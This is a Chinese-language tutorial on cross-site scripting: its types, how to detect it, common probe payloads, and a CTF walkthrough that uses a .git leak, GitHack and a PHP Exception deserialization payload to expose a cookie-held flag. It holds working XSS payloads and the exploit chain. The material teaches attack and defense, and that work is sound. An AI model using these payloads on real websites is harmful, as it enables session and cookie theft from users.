简介
XSS根源就是没完全过滤客户端提交的数据,客户端提交的数据本来是应用需要的,但恶意攻击者可能在提交的数据中插入一些符号以及javascript代码,使得这些数据成为应用代码的一部分。
sql注入拼接的是操作数据库的sql语句。xss拼接的是网页的html代码。拼接合适的html代码去执行恶意的js语句。
例如原有一个textbox的代码为
<input type="text" name="address1" value="value1from">
如果用户输入
"/><script>alert(document.cookie)</script><!-
则执行代码变为
<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">
如果用户输入"onfocus="alert(document.cookie)
代码所触发的事件也会有改变也会被改变。所以XSS攻击的威力取决于用户输入什么样的脚本。
反射型XSS
提交数据 实现xss 但只对这次访问产生影响,并持久性攻击。
存储型XSS
提交数据 实现xss 并且存进了数据库,别人访问这个页面就会自动触发
DOM型XSS
DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。从效果上来说 它也是反射型XSS。
如何检测是否存在XSS
发送语句给服务器,如果服务器没有进行过滤,服务器则会返回给客户端,则服务器存在XSS漏洞。判断XSS漏洞即主要看服务其端给客户端的响应。
常见的发送位置:留言板、评论、搜索
XSS检测总结
常用XSS检测
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
各种绕过参考链接。
参考链接
https://www.cnblogs.com/applelife/p/10477583.html#_label8
https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe3
https://blog.csdn.net/qw_xingzhe/article/details/80712840
https://www.cnblogs.com/ricardojxu/p/12856312.html
https://www.jb51.net/article/90536.htm
XSS题型训练平台
例题:[BJDCTF 2nd]xss之光
判断是否存在git泄露
1.构造URL/.git/config
存在可下载文件 发现存在git泄露
2.使用 dirsearch、御剑等工具扫描后台
发现存在git泄露
通过Githack获取泄露的源代码
通过python Githack.py <url>/.git/
命令获取到index.php
文件 需要python2版本
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
反序列化
仅看到是一个反序列化,但是不知道类,则可以用php的内置类进行反序列化构造,可以用Error类或者Expection类来进行反序列化
<?php
$b = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($b));
?>
得到结果后构造url访问
http://a0a58185-02d8-4b85-8dbb-f5a991c8b45c.node3.buuoj.cn/?yds_is_so_beautiful=<结果>
发现flag存在于cooike中
也可以通过bp传入反序列化后的结果得到flag